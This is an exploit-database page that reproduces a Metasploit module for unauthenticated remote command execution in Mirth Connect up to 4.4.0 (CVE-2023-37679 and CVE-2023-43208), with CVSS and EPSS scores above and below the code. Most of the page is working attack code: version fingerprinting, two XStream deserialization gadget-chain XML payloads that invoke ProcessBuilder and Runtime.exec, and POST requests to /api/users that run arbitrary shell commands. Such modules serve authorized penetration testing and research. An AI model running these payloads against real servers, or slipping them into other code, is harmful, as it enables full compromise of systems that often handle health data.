Lucene search

K
zdtMetasploit1337DAY-ID-39293
HistoryJan 31, 2024 - 12:00 a.m.

Mirth Connect 4.4.0 Remote Command Execution Exploit

2024-01-3100:00:00
metasploit
0day.today
122
mirth connect
remote command execution
vulnerability
http request
os commands
ihteam
cve-2023-37679
horizon3.ai
cve-2023-43208
metasploit
version 4.4.1

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.3 High

AI Score

Confidence

Low

0.956 High

EPSS

Percentile

99.4%

A vulnerability exists within Mirth Connect due to its mishandling of deserialized data. This vulnerability can be leveraged by an attacker using a crafted HTTP request to execute OS commands within the context of the target application. The original vulnerability was identified by IHTeam and assigned CVE-2023-37679. Later, researchers from Horizon3.ai determined the patch to be incomplete and published a gadget chain which bypassed the deny list that the original had implemented. This second vulnerability was assigned CVE-2023-43208 and was patched in Mirth Connect version 4.4.1. This Metasploit module has been tested on versions 4.1.1, 4.3.0 and 4.4.0.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Mirth Connect Deserialization RCE',
        'Description' => %q{
          A vulnerability exists within Mirth Connect due to its mishandling of deserialized data. This vulnerability
          can be leveraged by an attacker using a crafted HTTP request to execute OS commands within the context of the
          target application. The original vulnerability was identified by IHTeam and assigned CVE-2023-37679. Later,
          researchers from Horizon3.ai determined the patch to be incomplete and published a gadget chain which bypassed
          the deny list that the original had implemented. This second vulnerability was assigned CVE-2023-43208 and was
          patched in Mirth Connect version 4.4.1. This module has been tested on versions 4.1.1, 4.3.0 and 4.4.0.
        },
        'Author' => [
          'r00t',
          'Naveen Sunkavally',
          'Spencer McIntyre'
        ],
        'References' => [
          ['CVE', '2023-37679'],
          ['URL', 'https://www.ihteam.net/advisory/mirth-connect/'],
          ['CVE', '2023-43208'],
          ['URL', 'https://www.horizon3.ai/nextgen-mirth-connect-remote-code-execution-vulnerability-cve-2023-43208/'],
          ['URL', 'https://www.horizon3.ai/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/'],
        ],
        'DisclosureDate' => '2023-10-25',
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux', 'win'],
        'Arch' => [ARCH_CMD],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Payload' => { 'Space' => 8191, 'DisableNops' => true }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 8443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    )
    return CheckCode::Unknown('HTTP fingerprinting failed.') if res.nil?

    unless res.get_html_document&.xpath('//head/title')&.first&.text =~ /Mirth Connect/
      return CheckCode::Safe('The target is not Mirth Connect.')
    end

    target_version = get_target_version
    return CheckCode::Detected('Failed to detect the target version.') unless target_version

    vprint_status("Detected target version: #{target_version}")

    if target_version <= Rex::Version.new('4.3.0')
      return CheckCode::Appears("Version #{target_version} is affected by CVE-2023-37679.")
    elsif target_version <= Rex::Version.new('4.4.0')
      return CheckCode::Appears("Version #{target_version} is affected by CVE-2023-43208.")
    end

    CheckCode::Safe("Version #{target_version} is not affected.")
  end

  def get_target_version
    return @target_version if @target_version

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/server/version'),
      'headers' => {
        'X-Requested-With' => 'OpenAPI'
      }
    )
    return nil unless res&.code == 200
    return nil unless res.body =~ /(\d+(\.\d+)*)/

    @target_version = Rex::Version.new(Regexp.last_match(1))
    @target_version
  end

  def exploit
    target_version = get_target_version
    print_status("Executing #{payload_instance.refname} (#{target.name})")

    if target_version <= Rex::Version.new('4.3.0')
      # The CVE-2023-43208 gadget chain will also work here but use the old one to verify the original vulnerability
      # which did not implement the deny-list logic that was bypassed by the newer chain
      res = execute_command_cve_2023_37679(payload.encoded)
    elsif target_version <= Rex::Version.new('4.4.0')
      res = execute_command_cve_2023_43208(payload.encoded)
    else
      fail_with(Failure::NoTarget, "Version #{target_version} is not vulnerable.")
    end

    if res.nil?
      fail_with(Failure::Unreachable, 'Failed to execute the payload.')
    elsif res.code != 500
      fail_with(Failure::UnexpectedReply, 'Failed to execute the payload.')
    end

    print_good('The target appears to have executed the payload.')
  end

  def execute_command_cve_2023_37679(cmd, _opts = {})
    # Tested on 4.1.1 and 4.3.0
    xml = Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
      <sorted-set>
        <string>#{rand_text_alphanumeric(4..12)}</string>
        <dynamic-proxy>
          <interface>java.lang.Comparable</interface>
          <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
            <target class="java.lang.ProcessBuilder">
              <command>
                <string>#{target['Platform'] == 'win' ? 'cmd.exe' : 'sh'}</string>
                <string>#{target['Platform'] == 'win' ? '/c' : '-c'}</string>
                <string>#{cmd.encode(xml: :text)}</string>
              </command>
            </target>
            <methodName>start</methodName>
            <eventTypes/>
          </handler>
        </dynamic-proxy>
      </sorted-set>
    XML

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api/users'),
      'ctype' => 'application/xml',
      'headers' => {
        'X-Requested-With' => 'OpenAPI'
      },
      'data' => xml
    })

    res
  end

  def execute_command_cve_2023_43208(cmd, _opts = {})
    if target['Platform'] == 'win'
      cmd = "cmd.exe /c \"#{cmd}\""
    else
      # see: https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html
      cmd = "sh -c $@|sh . echo #{cmd}"
    end

    # Tested on 4.1.1, 4.4.0
    xml = Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
      <sorted-set>
        <string>#{rand_text_alphanumeric(4..12)}</string>
        <dynamic-proxy>
          <interface>java.lang.Comparable</interface>
          <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
            <target class="org.apache.commons.collections4.functors.ChainedTransformer">
              <iTransformers>
                <org.apache.commons.collections4.functors.ConstantTransformer>
                  <iConstant class="java-class">java.lang.Runtime</iConstant>
                </org.apache.commons.collections4.functors.ConstantTransformer>
                <org.apache.commons.collections4.functors.InvokerTransformer>
                  <iMethodName>getMethod</iMethodName>
                  <iParamTypes>
                    <java-class>java.lang.String</java-class>
                    <java-class>[Ljava.lang.Class;</java-class>
                  </iParamTypes>
                  <iArgs>
                    <string>getRuntime</string>
                    <java-class-array/>
                  </iArgs>
                </org.apache.commons.collections4.functors.InvokerTransformer>
                <org.apache.commons.collections4.functors.InvokerTransformer>
                  <iMethodName>invoke</iMethodName>
                  <iParamTypes>
                    <java-class>java.lang.Object</java-class>
                    <java-class>[Ljava.lang.Object;</java-class>
                  </iParamTypes>
                  <iArgs>
                    <null/>
                    <object-array/>
                  </iArgs>
                </org.apache.commons.collections4.functors.InvokerTransformer>
                <org.apache.commons.collections4.functors.InvokerTransformer>
                  <iMethodName>exec</iMethodName>
                  <iParamTypes>
                    <java-class>java.lang.String</java-class>
                  </iParamTypes>
                  <iArgs>
                    <string>#{cmd.encode(xml: :text)}</string>
                  </iArgs>
                </org.apache.commons.collections4.functors.InvokerTransformer>
              </iTransformers>
            </target>
            <methodName>transform</methodName>
            <eventTypes>
              <string>compareTo</string>
            </eventTypes>
          </handler>
        </dynamic-proxy>
      </sorted-set>
    XML

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api/users'),
      'ctype' => 'application/xml',
      'headers' => {
        'X-Requested-With' => 'OpenAPI'
      },
      'data' => xml
    })

    res
  end
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.3 High

AI Score

Confidence

Low

0.956 High

EPSS

Percentile

99.4%